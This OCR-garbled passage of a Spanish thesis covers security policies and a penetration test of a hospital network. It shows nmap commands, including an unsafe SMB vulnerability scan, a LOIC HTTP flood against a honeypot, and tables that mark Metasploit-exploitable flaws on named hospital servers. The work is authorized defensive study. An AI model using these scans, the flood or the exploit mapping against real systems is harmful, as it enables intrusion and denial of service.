User-Agent: Mozilla/S.0 (wWindows NT 6.1) Applewebeit/S37.35 (KMTML, like Gecko) Chrome/31.0.
Accept-Encoding: gzip,deflate,sdchyrin
Accept-Language: es-ES,es;q=0.8\r\n
Cookile: JASLIDESHOWPLAY=1\r\n
If-Modified-Since: Wed, 20 Mov 2013 17:43:27 GMT\ryn
YEYA
[Full request URI: http:/fambate.qob.ecs]

0000 00 Oc 20 65 25 a8 10 60 4b 71 db 28 0B 00 45 00 . . Je%. . " Hg. [ E.

Grafico # 44: Captura de Paquete HTTP originado en equipo atacado

Fuente: El Autor
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Applications Places ‘: E Wed Nov 20, 1:02 PM

ST Click to view your appointments and tasks

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

= e & & €23 F ¥ BE @& 9~
Filter: il;mp . Expresgicnn... Clear v
Mo, Time Source Destination Protocol Length Info =
456 49,922830000 B.8.8.8 192.168.1.4 WP 74 Echa [ping]
475 50.810844000 152.168.1.4 8.8.8.8 e, o 74 Echo [ping]
480 50,811333000 192.168.1.4 8.8.8.8 e, o 74 Echo (ping)
481 50.923105000 8.8.8.8 152.168.1.4 s, 5 74 Echo (ping)
482 50.923535000 8.8.8.8 162.168.1.4 s, = 74 Echo Iping]
497 5].8 A2000 192,.188.1.4 H.8.8.8 CMF Echo (ping,
493 51.812846000 192,168.1.4 2.8.8.8 10 74 Echo tping] L
494 51.,525240000 8.8.8.8 162,.168.1.4 s, = 74 Echo Iping] |
495 51.5926368000 B.8.8.8 192.168.1.4 ICHP 74 Echo [ping]
il | ¥
Protocol: ICMP (1) !

P Header checksum: Oxd88a [correct]
Source: 152.168.1.4 (192.168.1.4)
Destination: B8.8.8.8 (B.8.8.8)
[Source GaaIP: Unknown]
[Destination GeoIP: Unknown]

= Internet Control Message Protocol
Type: & [Echo (ping) request) V]

11} »

Grafico # 45: Captura de Paquete ICMP originado en equipo atacado

Fuente: El Autor

Como se puede observar en los graficos anteriores, se ha capturados dos
paquetes de datos cuyo origen fue la IP 192.168.1.4, el primero de ellos un
paquete HTTP con una peticion hacia el sitio web www.ambato.gob.ec y el
segundo paquete correspondia a una peticion ICMP hacia la direccion 8.8.8.8,
con lo cual se comprueba que el ataque “hombre en el medio” tuvo éxito, al
interponer nuestro equipo de ataque entre el computador comprometido y la

puerta de enlace seleccionada para el acceso a internet.


http://www.ambato.gob.ec/
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357 Borrado de huellas

Como se pudo observar, los ataques realizados a equipos de la red del Hospital
Municipal tuvieron éxito al haberse obtenido acceso a los mismos, cabe indicar
que éstos ataque se los realizaron de manera controlada y no se buscaba
comprometer la disponibilidad, integridad y confidencialidad de la informacién
almacenada y procesada, por lo que no se generaron rastros que necesiten ser
borrados, en el escenario de un atacante real, éste deberd ser lo mas

cuidadoso posible con la finalidad de evitar ser detectado.

3.6 Politicas de Seguridad Informética

3.6.1 Objetivo general

Mantener segura y legal la red del Hospital Municipal Nuestra Sefiora de la
merced HMNSM.

3.6.2 Objetivos especificos:
Describir todos los mecanismos, normas, politicas y procedimientos a ser
implementados para asegurar la red en la Institucion.

Difundir al personal las politicas de seguridad adoptadas como modo de

proteccion de la red.

Realizar un seguimiento a los usuarios de la red con el objeto de controlar el

cumplimiento de las normas establecidas.
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3.6.3 ¢, Quién debe leer este documento?

Este documento debera ser leido por las personas que laboran en el area de
TIC's quienes son los encargados de administrar el hardware y software
existente en la Institucion y todo el personal de otros departamentos que utilicen

computadores y consuman servicios de la red al contrario.

Deberd ser difundido a fin de que todos cumplan obligatoriamente con lo
estipulado en este manual con el objeto de alcanzar los niveles de seguridad

necesarios para preservar el sistema en general.

3.6.4 ¢, Quién es el responsable de actualizar este documento?

Deben ser una o varias personas pertenecientes al area de TIC's las
encargadas de actualizar este documento, las mismas que deben tener los
conocimientos de la estructura y mantenimiento de la red, sujetandose a

sugerencias y disposiciones que estén acorde al esquema implantado.

Adicionalmente la actualizacién de este manual debe ir de la mano conforme

avance la tecnologia que ayude a encontrar mayores niveles de seguridad.

3.6.5 Normas de seguridad

La presente normativa de seguridad para la red del hospital se basa en las
siguientes politicas de aplicacion obligatoria:

a) Acceso a los servicios de red.

El personal del HMNSM que necesite trabajar en la red Windows, tendra
asignado un cddigo unico de acceso (nombre de usuario) que le permitira

acceder alaredy a los recursos de la misma.
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El cédigo de acceso antes mencionado estard compuesto por el hombre del

usuario mas y la contrasefia asignada.

Es imprescindible recalcar que el uso de cada codigo y clave de usuario sera
responsabilidad del usuario quien debera cumplir con la normativa de uso de

contrasefas descritas en este manual.

Esta norma aplica a todas las estaciones de trabajo existentes en la Institucion.

b) Acceso a los recursos en equipos.

Cada usuario sera responsable de permitir el acceso a los recursos (archivos,

carpetas, programas e impresoras) que residan en su computador.

El control del acceso a los recursos lo podra efectuar cada usuario en base al
uso de claves de acceso o especificando el/los codigo(s) de usuario(s) que

pueden acceder a algun recurso.

Igualmente es responsabilidad del usuario especificar el nivel de acceso a sus

recursos (lectura, total, etc.).

Esta norma aplica para las estaciones de trabajo Windows en sus diferentes

versiones.

C) Acceso a internet.
El acceso a Internet esta regido por las siguientes normas:

El servicio de Internet debe ser asignado a las personas que de acuerdo a la

actividad y requerimientos de su puesto lo necesiten. La informacion bajada de
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Internet debe ser concerniente a las funciones que realiza el HMNSM o se

relacionen con la institucién.

Cada usuario de internet se le asignara un nombre de usuario y contrasenfa,
controlados por un servidor Proxy, la contrasefia de este servicio sera personal
e intransferible. Toda la actividad de Internet sera controlada y registrada por el

servidor Proxy.

La seguridad y consecuencias del uso del servicio de internet seran de total

responsabilidad del usuario.

d) Uso del correo electrénico
El uso del correo electrénico esta regido por las siguientes politicas:

El HMNSM proporciona a todos los usuarios el servicio de correo electronico

institucional a través de un sistema Zimbra propio.
La unidad de TIC s no dara soporte a cuentas de correo personales.

Los usuarios de correo electrénico estan obligados a seguir las siguientes

normas:

Esté prohibido el envio de correo no solicitado o SPAM. Esté prohibido el envio

o reenvio de cadenas de correo electrénico a multiples destinatarios.

Se podra enviar mensajes no considerados cadenas a un maximo de 20
destinatarios. Si por razones institucionales fuese necesario hacerlo

comuniquese con el administrador de la Red.

Esta prohibido descargar archivos o abrir enlaces incluidos en correos
electrénicos no solicitados, de procedencia dudosa o desconocida. El Sistema

no permite la descarga de archivos ejecutables o comprimidos.
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El servicio de correo electrénico permite enviar archivos adjuntos por un

méaximo de 10 Mb.

Cada cuenta de correo tiene asignada una cuota de 250 Mb, la cual podra ser

aumentada de acuerdo a las necesidades del usuario.

Los mensajes enviados y recibitos podran ser almacenados indefinidamente,

salvo los que sean considerados cadenas o0 SPAM

El servidor de correo electrénico realiza un analisis de virus de los archivos
adjuntos, seran eliminados de manera automéatica cuando se detecte algun tipo

de infeccion

e) Respaldos de lainformacién.

Cada usuario es responsable e independiente de respaldar la informacién
existente en su estacion de trabajo y que considere necesario utilizando

dispositivos de almacenamiento externo optico.

Cabe resaltar que no podra salir fuera de la institucién informacién que se

considere como reservada.

El 4rea de TIC's debera resguardar los respaldos de la informacion de los
servidores, bases de datos y todos los datos considerados importantes y
sensibles que contenga informacion propiedad del patrimonio del HMNSM en

medios Opticos y/o sistemas especializados de almacenamiento o Storage.
Se considerara informacién propiedad del HMNSM, la siguiente:

Toda la informacién que se encuentra grabada en los discos duros de los

equipos propiedad del patrimonio del HMNSM,;

Toda la informacién que se elaboren, desarrollen, produzcan o construyan en

los diferentes departamentos, y en los equipos propiedad del HMNSM;
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Toda la informacion que elaboren, desarrollen, produzcan o construyan los

empleados en ejercicio de su funcion.

f) Proteccion antivirus

El HMNSM cuenta con un sistema antivirus licenciado, centralizado y

actualizado a diario, el cual reside en un servidor acondicionado para el efecto.

Todos los servidores Windows y computadores tendran instalados el sistema
antivirus, el cual se actualizard de manera automética con las imagenes

descargadas en el servidor.

Es responsabilidad de cada usuario realizar el analisis de sus unidades
externas cuando sean conectadas a los puertos USB de los computadores

autorizados.

No utilizar software pirata, aun cuando la copia provenga del adquiriente original
del software.

Mantenerse informado respecto a la aparicién de nuevos virus.

Adquirir un entorno de seguridad a fin de impedir copias de archivos no
autorizadas al disco duro, o ejecucién de programas a partir de la unidad de

discos flexibles.

Para protegerse contra una invasion viral completa de sus respaldos asi como
la de los archivos del disco duro, hacer un respaldo global periodico, que
debera conservar en forma indefinida. Sin embargo en varias ocasiones no es

suficiente, debiéndose adoptar otro tipo de medidas de precaucion.

A continuacion se detalla un procedimiento a seguir en caso de infeccién por

virus informatico:



89

- Determinar la méaquina en problemas.

- Aislar de la red a la estacion de trabajo infectada, con el fin de evitar la
propagacion del virus.

- Suprimir los archivos que no puedan ser desinfectados por el sistema.

- Si el virus se ha extendido, eliminelo reconstruyendo su disco duro o

ejecutando un programa de utileria que pueda (6ptimamente) eliminarlo.

Adopte préacticas para proteger de cualquier infeccidbn sus discos flexibles, y

especialmente discos o cintas de respaldo.

Esta restringido mediante bloqueo en registro de Windows el uso de unidades
de almacenamiento externo. Solo seradn desbloqueados los equipos de usuario
que, por razones de trabajo lo necesiten. Para realizar el desbloqueo de
unidades externas, el usuario interesado deberd realizar una solicitud

sustentada.

9) Normas sobre el uso de contrasefias.

El ingreso de los usuarios a los servicios de la Red se controla en base a un

Nombre de Usuario y contrasefia controlado por un servidor de Active Directory.

El personal con acceso a los servicios de red deberan observar

obligatoriamente las siguientes normas generales.
La contrasefia entregada a cada usuario es personal e intransferible

La contrasefia deberd ser cambiada cada 42 dias. El sistema le notificara la

proximidad del vencimiento de la contrasefia

La contrasefia debera ser lo suficientemente larga y compleja para no ser

descifrada



90

Las contrasefias cumplirdn con los siguientes parametros definidos en la

politica de contrasefias de Active Directory:
Longitud minima 10 caracteres y maximo 40 caracteres.

Las contrasefias deberan contar con al menos un caracter de los cuatro grupos

siguientes:

- Letras minusculas (a,b,c,d.....)
- Letras mayusculas (A,B,C,D...)
- Numeros (0,1,2,3/4...))

- Simbolos ($,@,-,%,...... )

La nueva contrasefia deberd ser distinta a las cinco Ultimas contrasefias

utilizadas y no podra contener el nombre de usuario.

h) Perfiles de usuario
Los usuarios del HMNSM seran de dos tipos:

- Usuarios Estandar

- Usuarios Administradores.

Un usuario estandar podra realizar uso de los recursos de red establecidos en

las politicas de usuario de Active Directory.
Los Usuarios estandar no podran:

- Instalar aplicativos en el computador.

- Cambiar las configuraciones del Sistema Operativo

- Escribir o modificar archivos en las carpetas que no se encuentren dentro
de su respectivo escritorio o “Mis Documentos”.

- Administrar remotamente otros equipos
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Solo se asignara usuarios administradores al personal especializado del Area
de TIC's.

1) Instalacién de software.

El control sobre la instalacion de software es responsabilidad del Area de
TIC’s. Todo el software instalado en el HMNSM deber& contar con licencia su

licencia respectiva.

Se debera determinar las necesidades para la instalacion de Software en los
computadores del HMNSM, para el efecto se debera realizar usa solicitud

sustentada sobre la necesidad de instalar un aplicativo especifico.

El Area de TIC's realizara de forma periédica un inventario de aplicaciones
instaladas en los computadores de la institucién, para lo cual deberd utilizar
herramientas informaticas especializadas para el efecto.

De ser detectado software que no cuente con el respectivo licenciamiento se
deberd desinstalarlo inmediatamente, de ser imprescindible el uso de
determinado software se debera iniciar con el proceso de legalizacion previo un

analisis que lo sustente.

i) Acceso a los centros de datos

Los servidores se alojan en los dos centros de datos implementados en areas

separadas dentro del el edificio Institucional.

Las instalaciones fisicas del HMNSM estan protegidas por una empresa de
seguridad 24 horas al dia, los centros de datos cuenta con alarmas de

seguridad e incendios y vigilancia por video.
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El centro de servidores se mantiene permanentemente cerrado y su acceso es

controlado por el coordinador TIC's.

Los accesos a los centros de datos estan protegidos por puertas con controles

electronicos.

K) Seguridad légica

La red informética del HMNSM cuenta con un Sistema Appliance de Seguridad
perimetral Firewall, que en conjunto con los procedimientos de seguridad
internas, protege la red interna de cualquier acceso no autorizado desde

Internet.

El administrador de TIC's, entregard en un sobre cerrado a la Gerencia del
HMNSM el catdlogo completo de nombres de usuarios y contrasefias que
permitan el acceso y configuracion de todos los servicios, servidores y equipos
activos de la red, este sobre debera se mantendra en una boveda de seguridad
de algun banco y ser abierta Unicamente en caso de ausencia no prevista

del/los responsables del Area de TIC's, previa autorizacién expresa de la

gerencia.

3.7 Guia de correccion de vulnerabilidades detectadas.
3.7.1 Vulnerabilidades de Disefo de la red

DESCRIPCION ESTADO ACTUAL CORRECCION

Implementar Sistema Perimetral de seguridad
Firewall para la interconexion con la red del
GADMA,

Sin sistema perimetral de

Interconexién . .
seguridad firewall

con Red
GADMA
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Interconexion

Enlace WiFi banda libre
5.4 Ghz.

Planificar el reemplazo de la tecnologia de
comunicaciones en banda libre por tecnologia de
fibora optica propietaria o contratada hacia el

con Red difici icinal
GADMA nuevo edificio municipal.
Servidor de | Expuesto al internet | Disponer el servidor de correo electrénico dentro
Correo fuera del perimetro de |de un perimetro del perimetro de seguridad del
electrénico seguridad firewall
Router de | sistema  Primario  de Conflgu_rar sistema primario de seguridad segun
Frontera Seguridad desactivado las opciones del Router de Balance Qe Carga
TP-LINK dispuesto en la frontera con el internet
VLANS Todos los equipos estadn | Segmentar la red interna del Hospital en varias
dispuestos en una Unica | VLAN, segln su criticidad, sensibilidad vy
IEEE802.1q Y SE
VLAN disposicion fisica
Tabla # 4: Correccion de vulnerabilidades de disefio de la Red
Fuente: El Autor
3.7.2 Vulnerabilidades en el Software de los equipos de coOmputo
EQUIPO TIPO VULNERABILIDAD CORRECCION
Solicitar actualizacién del
PROXY SISTEMA Sistema Operativo | sistema operativo al
OPERATIVO Linux desactualizado proveedor del Appliance
Netcyclon
DESARROLLO SISTEMA \?\}_stzma Operatwg Instalar ultimo Service Pack
OPERATIVO d n OtWSI. q y boletines de seguridad
esactualizado publicados por Microsoft
Corp.
Aplicaciones JAVA e .
. |Instalar dltimas versiones
DESARROLLO |APLICACIONES ((j)raclt?[, ; dMs_Offlce disponibles, y  boletines
esactualizadas publicadas por Microsoft

Corp.para Ms_office
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Activar firewall y configurar

DESARROLLO |CONFIGURACION |Firewall desactivado .
reglas de confianza
Sistema Operativo Instalar Gltimo Service Pack
ANTIVIRUS SISTEMA Windows P 2|y boletines de seguridad
SERVER OPERATIVO . publicados por Microsoft
desactualizado
Corp.
Migrar Sistema Operativo y
ACTIVE SISTEMA Sistema Operativo | Active Directory a la dltima
DIRECTORY OPERATIVO Windows 2003 Server |version de Windows 2008
SERVER Obsoleto Server, con el dltimo
sevicepack y boletines de
seguridad publicados por
Microsoft Corp.
Sistema Operativo Instalar ultimo Service Pack
SISTEMA ; y boletines de seguridad
DB SERVER OPERATIVO W'ndOWS.ZOOS Server publicados por Microsoft
desactualizado
Corp.
DB SERVER CONFIGURACION | Firewall desactivado | AActivar firewall y configurar
reglas de confianza
Sistema Operativo . o
MAIL SERVER SISTEMA Linux Centos 6 64 bits Real_|zar actualizacion
OPERATIVO . mediante yum update
Desactualizado
Actualizar Sistemas
surOS |sisTewa | SSemes operaos chervos | eon_ Soporte
USUARIOS OPERATIVO g . orp,
obsoletos Migrar sistemas Operativos
obsoletos.
Instalar dltimas versiones
L disponibles de aplicativos
S(S?lLJJ,IAPRE?gS APLICACIONES Qgg;?fdgﬂsz das con licencia, dar de baja o
reemplazara aplicativos sin
licencia por aplicativos libres
EQUIPOS . . Activar firewall y configurar
USUARIOS CONFIGURACION | Firewall desactivado reglas de confianza

Tabla # 5: Correccion de vulnerabilidades de Software de la Granja de Servidores

Fuente: El Autor



CAPITULO IV

ANALISIS Y VALIDACION DE RESULTADOS

Para el analisis de los resultados obtenidos en este estudio, se los ha divido en

tres areas:

- Andlisis de los datos obtenidos en las Encuestas
- Andlisis de datos de la Honeynet

- Analisis de resultados de la Prueba de Penetraciéon

4.1 Resultados de las encuestas

La encuesta aplicada tuvo como finalidad obtener ciertos patrones generales de
conducta informatica de los usuarios en areas como gestion de contrasefas,

uso del internet, correo electronico y seguridad logica del computador asignado.

Una vez revisados los resultados, en términos generales los usuarios
mantienen buenas practicas de seguridad en la mayoria de temas consultados,
sin embargo surgieron datos interesantes respecto a practicas no seguras en

los siguientes que se describen a continuacion:

Unicamente el 28% de los encuestados cambia sus contrasefias en periodos
aceptables (semanal, mensual), un elevado porcentaje (68%) lo hace de

manera eventual y un 14% nunca cambia su contrasefia.

Un porcentaje importante de usuarios (31%) almacena sus usuarios Yy

contrasefas en algun medio fisico o virtual.

95
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Un porcentaje importante de usuarios (28%) ha compartido eventualmente las
contrasefias de de sus cuentas de servicios informaticos con compaferos de

trabajo o familiares.

Un porcentaje importante de usuarios (22%) acepta la instalacion de

actualizaciones automaticas o software sugerido en sitios de internet.

Un porcentaje considerable de usuarios (36%) utiliza unidades de

almacenamiento externo en los computadores de la Institucion.

Un porcentaje elevado de Usuarios (42%) no bloquea su equipo de computo

cuando abandona eventualmente su estacion de trabajo.

De los resultados presentados, se puede observar que existen ciertas
conductas informéticas que deberdn ser normadas mediante la aplicacion del

instructivo de seguridad descrito en el presente trabajo.

4.2 Resultados de la honeynet

Una vez que fue puesta en marcha la Honeynet con la finalidad de registrar los
posibles intentos ataques a la infraestructura de red, se procedié a comprobar
la funcionalidad del mismo realizando varias pruebas de penetracién de manera

local y controlada con la utilizacién de Kali Linux.

Inicialmente se realizO6 un escaneo de puertos como fase inicial de
reconocimiento de la Infraestructura con la herramienta Nmap, lo que nos
permitié determinar que la infraestructura se encuentra funcionando de acuerdo
a lo previsto, es decir la presencia del Honeypot cuya direccion IP es 10.0.0.20

con sus servicios en funcionamiento, tal como se muestra a continuacion:
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--- 10.0.0.20 ping statistics ---
1 packets transmitted, | received, 0% packet loss, time Gms
rtt min/avg/max/mdev = 21.985/21.985/21.985/0.000 ms

:~# nmap 10.0.0.0/24 --open -sP -T3

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-03 08:21 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.0.0.20

Host is up (0.00695s latency).

MAC Address: 00:0C:29:56:CF:59 (VMware)

Nmap scan report for 10.0.0.100

Host is up (0.00022s latency).

MAC Address: 00:1E:68:80:29:21 (Quanta Computer)

Nmap scan report for 10.0.0.101

Host is up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 7.62 seconds

Gréafico # 46: Escaneo Nmap de la Honeynet en produccién

Fuente: El Autor

Ademas se realizé un escaneo Nmap para detectar la vulnerabilidad MS08_067

en los equipos de la Honeynet, tal como se muestra a continuacion:

»~# nmap 10.0.0.20 -p 445,139,137,135 --script=smb-check-vulns.nse --sc
ript-args=unsafe=1 --open

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-03 08:22 EST
mass_dns: wamning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.0.06.20

Host is up (0.0024s latency).

PORT ~ STATE SERVICE

135/tcp open  msrpc

137/tcp open netbios-ns

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 00:0C:29:56:CF:59 (VMware)

Host script results:
| smb-check-vulns:
|  MSGB-067: VULNERABLE

Gréfico # 47: Deteccion de vulnerabilidad MS08_067 en la Honeynet

Fuente: El Autor
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Una vez que se simulé los ataques anteriores, se procede a revisar el

analizador de datos del Honeywall a través de su consola de administracion.

En el Gréfico # 48 se puede observar la estadistica de la actividad capturada.

-

The Honeynet

Data Analysis System Admin

C' | [ beps//192.1683.66/walleyep

Walleye: Honeywall Web Interface

Documentation Logout

Honeywall: 1051171730

Bidirectional Flows Total Flows

Out

ids
0
0

In
ids con
2 BB
i3 270

In
con  ids
1 Hour &

24 44

Hour

con
22
4z

con
12

13 ad

Out

ids

2000

1000

0
0

1]
JUHITI
[C1KBytes Transfered N0 Alerts

1600 FH JH

Gréfico # 48: Estadisticas de la Actividad en el Honeywall

Fuente: El Autor

Se puede observar que el honeywall ha registrado actividad de entrada y de

salida y en diferentes horarios.

En la consola general en la seccion Online Honeywalls, se procede a

seleccionar el sensor “Honeywall: 105117190 para visualizar de manera

detallada la actividad capturada por el IDS, los datos se presentan de manera

histérica agrupados en rangos de 1 Hora, 24 Horas y por Fechas
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November

Connections triggering IDS events Observed from Sensor 1051171790
After Sun Nov 10 02:00:00 2013 Before Sun Nov 10 02:59:59 2013

20 1 3 (Previu)us Start 12323 4358 7 8 310 - - - - End (Next Page] 1/10
Page
sun mon tue wed thu fri  sat November 10th 00:00:00 <-1-SNMP request tcp
1 2 02:10:22
s 4 5 6 7 8 o % 10.0..102 0  10.0.0.20
10 11 12 13 14 15 16 TCcP 52193 0kB 1 pkts 161 (snmp)
(52193) -->
17 18 19 20 21 22 23 1 o0s unkn <-0kB1
24 25 26 27 28 29 30 pkts
Priar Month) (Next Month) November 10th 00:00:00 <-1-SNMP request tcp
Prior Year) (Next Year) 02:10:22
LELT LI 1L % 10.0.1.102 0 10.0.0.20
0:00 0 o & rcp 52194 0kB 1pkts 161 (snmp)
1:00 0 0 (52194) =z
2:00 225 445 1 05 unkn -0 kB 1
3:00 5 E pkts
4:00 6 s Movember 10th 00:00:00 <-1-SNMP AgentX/tcp request
5:00 0 0 02:10:25
6:00 0 g % 10.0.1.102 0 10.0.0.20
7:00 0 0 TCP 52193 0 kB 1 pkts 705
8:00 0 0 (52193) --= (agenix)
9:00 0 0 1 05 unkn <-0kB1
10:00 0 0 pkts
11:00 0 0 November 10th 00:00:00 <-1-SNMP AgentX/tcp request
12:00 0 0 02:10:25
13:00 0 0 % 10.0.1.102 0 10.0.0.20
14:00 0 0 TCcP 52194 0 kB 1 pkts 705
fcadanal - Famnntae)

Gréfico # 49: Informacién capturada por el Honeywall

Fuente: El Autor

En la figura anterior, se puede observar la actividad capturada por el IDS el

domingo 10 de noviembre, la cual corresponde a paquetes SNMP generados

por el escaneo de puertos realizado con Nmap.

A continuacion se realizé un ataque HTTP FLOOD con la herramienta LOIC

hacia el servidor web del honeypot. La herramienta LOIC genera un flujo de

peticiones HTTP simultaneas hacia el servidor seleccionado con la finalidad de

provocar una denegacion de servicios DoS por saturacion del servidor web

atacado.
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1. Select your target 2. Ready?
URL | Lockon
IMMA CHARGIN MAH LAZER
P 10.0.0.20 Lock on
r Selected target
1 0l 0l 0l 2 0
r 3. Aftack options
Timeout HTTP Subsite TCP [ UDP message
9001 / Acat is fine too. Desudesudesu~
& - IR0 Waitfor reply !
Port Wethod Threads <=faster Speed slower=»
rAttack status
idle Connecting Requesting Downloading Downloaded Requested Failed
0 2 0 0 [ 6 432

Gréfico # 50: Ataque HTTP-Flood al Honeypot

Fuente: El Autor

Como se observa, LOIC realiz6 multiples peticiones http, de las cuales se
obtuvo Unicamente 6 respuestas y 492 resultaron fallidas, esta prueba tuvo una
duracion de apenas 30 segundos.

Para complementar las pruebas realizadas, desde una ventana de comando se
realiza una peticion DNS al servidor simulado en el honeypot mediante el
comando nslookup con el que iniciamos una sesion en el servidor consultado,

tal como se muestra a continuaciéon
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Microsoft Windows [Uersidon 6.1.76811
Copyright (c) 2009 Microsoft Corporation. Reservadoz todoz los derechos.

C:slUserssDiequin>nslookup
Cervidor predeterminado: UnKnown
fiddress: 10.0.0.20

> google.com
Cervidor:  UnKnown
fiddress: 10.0.08.20

3% [InKnown no encuentra google.com: Mo response from server

-

Gréfico # 51:; Peticiones DNS y FTP al Honeypot

Fuente: El Autor

Honeywall tal como se puede observar a continuacion:

La informacion de los ataques y peticiones realizadas fue capturada por el

€« 2> C & <.//10.10.10.66/7act=ct;st=1384059600;et=1384063199,5ensor=1051171790;Apply%20checkb o J
|
12:00 0 q November 10th 00:00:01
13:00 0 0l 05:02:08
14:00 0 0 10.0.0.252 0 10.0.0.20
15:00 0 d TCP 57626 0KkB3pkts- 21 (ftp)
16:00 0 0 (57626) ->
17:00 0 ol 2 Windows <--0kB 3 ===
zE:00 D o M ber 10th 00:00 ggts
N ovember N N
;gjgg g g 05:02:00
21:00 0 ol 10.0.0.252 0 10.0.0.20
22:00 0 ol uDp 61060 0 kB 1 pkts - 53
23:00 T o (61060) -= (domain})
— 0 os unkn <--0 kB 0 ===
View pkts
Aggregate November 10th 00:00:00
® Detailed 05:03:03
10.0.0.252 0 10.0.0.20
Flow Direction Filter uDP 53950 0 kB 1 pkts - 53
(53950) -= (domain})
Inbound o os unkn <--0 kB O .-
Qutbound pkts
® Either Movember 10th 00:00:00
05:03:05
Other Filters 10.0.0.252 0 10.0.0.20
uDp 56592 0 kB 1 pkts - 53
Any Proto_ ] (56592) - (domain)
Bidirectional Flows Only o 0s unkn <-0kB O o
pkts

Grafico # 52: Paquetes DNS capturados por el Honeywall

Fuente: El Autor
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4.3 Resultados de la prueba de penetracién

Durante las prueba de penetracion realizada a la Red del Hospital se detecto
gue existen varios tipos de vulnerabilidades respecto al Software en los Equipos
de computo de la red del Hospital, las mismas que afectan tanto al Sistema

Operativo como a los aplicativos instalados.

Los ataques perpetrados durante la prueba de penetracion tuvieron éxito
gracias a la disposicion de todos los equipos de computo en una Unica VLAN, lo
que inicialmente facilité el escaneo inicial, ademas se detect6 que los sistemas

firewall de la mayoria de computadores se encontr6 deshabilitado.

Debido a que el andlisis de vulnerabilidades de Software fue realizado con la
herramienta Nexpose Security en su version comunitaria la cual limita el nUmero
de Tareas permitidas, se procedid a seleccionar un conjunto representativo de
Equipos de cdmputo compuesto por todos los Servidores Institucionales y
varios computadores de la red de produccién del Hospital los mismos que

mantienen configuraciones similares con los equipos no seleccionados.

Las vulnerabilidades del software instalado en los diferentes equipos de
computo detectadas se encuentran clasificadas segun la criticidad de las

mismas en criticas, severas, moderadas y advertencias.

Las vulnerabilidades criticas detectadas en el servidor principal de Base de

Datos DBSERVER se describen en la siguiente tabla:

VULNERABILIDAD EXPLOIT NIVEL
DISPONIBLE

IP Source Routing Enabled Critical

Missing Oracle Critical Patch Update (CPU) for October 2009 metasploit Critical
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MS11-078: Vulnerability in .NET Framework and Microsoft

Silverlight Could Allow Remote Code Execution (2604930) Critical
MS13-029: Vulnerability in Remote Desktop Client Could Allow
Remote Code Execution (2828223) Critical
MS13-037: Cumulative Security Update for Internet Explorer
(2829530) metasploit Critical
MS13-038: Security Update for Internet Explorer (2847204) metasploit Critical
MS13-040: Vulnerabilities in .NET Framework Could Allow
Spoofing (2836440) Critical
MS13-047: Cumulative Security Update for Internet Explorer
(2838727) Critical
MS13-052: Vulnerabilities in .NET Framework and Silverlight Could
Allow Remote Code Execution (2861561) Critical
MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could
Allow Remote Code Execution (2850851) metasploit Critical
MS13-054: Vulnerability in GDI+ Could Allow Remote Code
Execution (2848295) Critical
MS13-059: Cumulative Security Update for Internet Explorer
(2862772) metasploit Critical
MS13-062: Vulnerability in Remote Procedure Call Could Allow
Elevation of Privilege (2849470) Critical
MS13-063: Vulnerabilities in Windows Kernel Could Allow
Elevation of Privilege (2859537) Critical
MS13-069: Cumulative Security Update for Internet Explorer
(2870699) Critical
MS13-083: Vulnerability in Windows Common Control Library
Could Allow Remote Code Execution (2864058) Critical

Tabla # 6: Vulnerabilidades Criticas Servidor de Base de Datos DBSERVER

Fuente: El Autor



104

A continuacién se describen las vulnerabilidades criticas detectadas en el
servidor de Active Directory ACTDIRSERVER del Hospital

EXPLOIT
VULNERABILIDAD NIVEL
DISPONIBLE

IP Source Routing Enabled Critical
KB2607712: Fraudulent Digital Certificates Could Allow Spoofing Critical
KB2718704: Unauthorized Digital Certificates Could Allow

Spoofing Critical
Microsoft DirectShow Streaming Video ActiveX Control Buffer

Overflow metasploit Critical
MS05-026: Vulnerability in HTML Help Could Allow Remote Code

Execution (896358) Critical
MS05-051: Vulnerabilities in MSDTC and COM+ Could Allow

Remote Code Execution (902400) exploitdb Critical
MS06-002: Vulnerability in Embedded Web Fonts Could Allow

Remote Code Execution (908519) Critical
MSO06-015: Vulnerability in Windows Explorer Could Allow Remote

Code Execution (908531) exploitdb Critical
MS06-035: Vulnerability in Server Service Could Allow Remote

Code Execution (917159) metasploit Critical
MS06-036: Vulnerability in DHCP Client Service Could Allow

Remote Code Execution (914388) exploitdb Critical
MS06-040: Vulnerability in Server Service Could Allow Remote

Code Execution (921883) metasploit Critical
MSO06-050: Vulnerabilities in Microsoft Windows Hyperlink Object

Library Could Allow Remote Code Execution (920670) exploitdb Critical
MSO06-057: Vulnerability in Windows Explorer Could Allow Remote

Execution (923191) metasploit Critical
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MS06-063: Vulnerability in Server Service Could Allow Denial of

Service and Remote Code Execution (923414) metasploit Critical
MS06-066: Vulnerabilities in Client Service for NetWare Could
Allow Remote Code Execution (923980) metasploit Critical
MS07-008: Vulnerability in HTML Help ActiveX Control Could
Allow Remote Code Execution (928843) Critical
MSO07-020: Vulnerability in Microsoft Agent Could Allow Remote
Code Execution (932168) Critical
MS07-034: Cumulative Security Update for Outlook Express and
Windows Mail (929123) exploitdb Critical
MSO07-046: Vulnerability in GDI Could Allow Remote Code
Execution (938829) Critical
MSO07-068: Vulnerability in Windows Media File Format Could
Allow Remote Code Execution (941569 and 944275) Critical
MS08-007: Vulnerability in WebDAV Mini-Redirector Could Allow
Remote Code Execution (946026) Critical
MS08-021: Vulnerabilities in GDI Could Allow Remote Code
Execution (948590) exploitdb Critical
MS08-028: Vulnerability in Microsoft Jet Database Engine Could
Allow Remote Code Execution (950749) Critical
MS08-046: Vulnerability in Microsoft Windows Image Color
Management System Could Allow Remote Code Execution
(952954) exploitdb Critical
MS08-049: Vulnerabilities in Event System Could Allow Remote
Code Execution (950974) Critical
MS08-063: Vulnerability in SMB Could Allow Remote Code
Execution (957095) Critical
MS08-067: Vulnerability in Server Service Could Allow Remote
Code Execution (958644) metasploit Critical
MSO08-076: Vulnerabilities in Windows Media Components Could Critical
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MS09-001: Vulnerabilities in SMB Could Allow Remote Code

Execution (958687) metasploit Critical
